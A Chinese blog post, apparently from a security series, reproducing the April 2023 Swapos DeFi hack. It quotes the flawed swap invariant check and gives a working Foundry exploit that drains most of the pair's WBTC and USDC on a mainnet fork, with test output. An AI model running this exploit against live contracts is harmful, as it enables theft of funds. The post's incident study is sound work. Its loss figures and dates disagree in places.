[区块链安全-DEFI攻击复现]002-20230416 Swapos

[区块链安全-DEFI攻击复现]002-20230416 Swapos


2023年4月19日, ETH链上的 Swapos遭受了攻击,损失高达 468K美元。

攻击介绍

2023年4月19日,@BeosinAlert发出警告,Ethereum链上的SwaposV2Pair遭受攻击,造成$467,192损失,其中的一个攻击哈希为0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a


攻击分析

使用phalcon进行分析,攻击从流程上看很简单,那就是调用SWP-V2swap函数,一般来说我们都是与router进行交互,除非在swap中有余额方面的漏洞(上一个001-OLIFE也利用了类似的漏洞)。

漏洞在这里:

        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
        uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
        }

因为balance0Adjustedbalance1Adjusted都是乘了10000,而最后只是mul(1000*2),中间差了100倍!

我们不传入,所以_reserve0 - amount0Out = 0,所以balance0Adjusted = balance0,所以我们只要满足balance0Adjusted * 10 >= _reserve0,同时因为有require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');,我们可以手动转账1单位以绕过限制。


POC

攻击POC如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a

// @Info
// Price manipulation, Vulnerability Exploit

// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385

address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint256 constant USDC_DECIMALS = 6;
uint256 constant WBTC_DECIMALS = 8;

contract Swapos is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("mainnet",17057442); // Go back before hacking time
        console.log("start with block %d",17057442);
        console.log("Attacker address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
        emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);

        Exploit exploit = new Exploit();
        
        exploit.attack();

        console.log("End hacking...");
        emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);


    }
}

contract Exploit is Test{

    address owner;
    constructor() public{
        owner = msg.sender;
    }

    function attack() public {
        deal(USDC_ADDRESS, address(this), 1);
        IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);
        (uint256 amount0, uint256 amount1,) = pair.getReserves();
        IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);
        pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");
    }
}

输出如下:

[PASS] testExploit() (gas: 2527934)
Logs:
  start with block 17057442
  Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBTC Balance: 0.00000000
  [Start] Attacker USDC Balance: 0.000000
  End hacking...
  [End] Attacker WBTC Balance: 1.42229691
  [End] Attacker USDC Balance: 43099.909083

总结

说实话不知道该怎么说,这种问题能出现所有人都有责任。。

我看了下地址0x78520513e30ce6Beba2f2e393ae581f3d77db993,其所创建的合约都在攻击发生20个区块后,迅速撤出了流动性。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值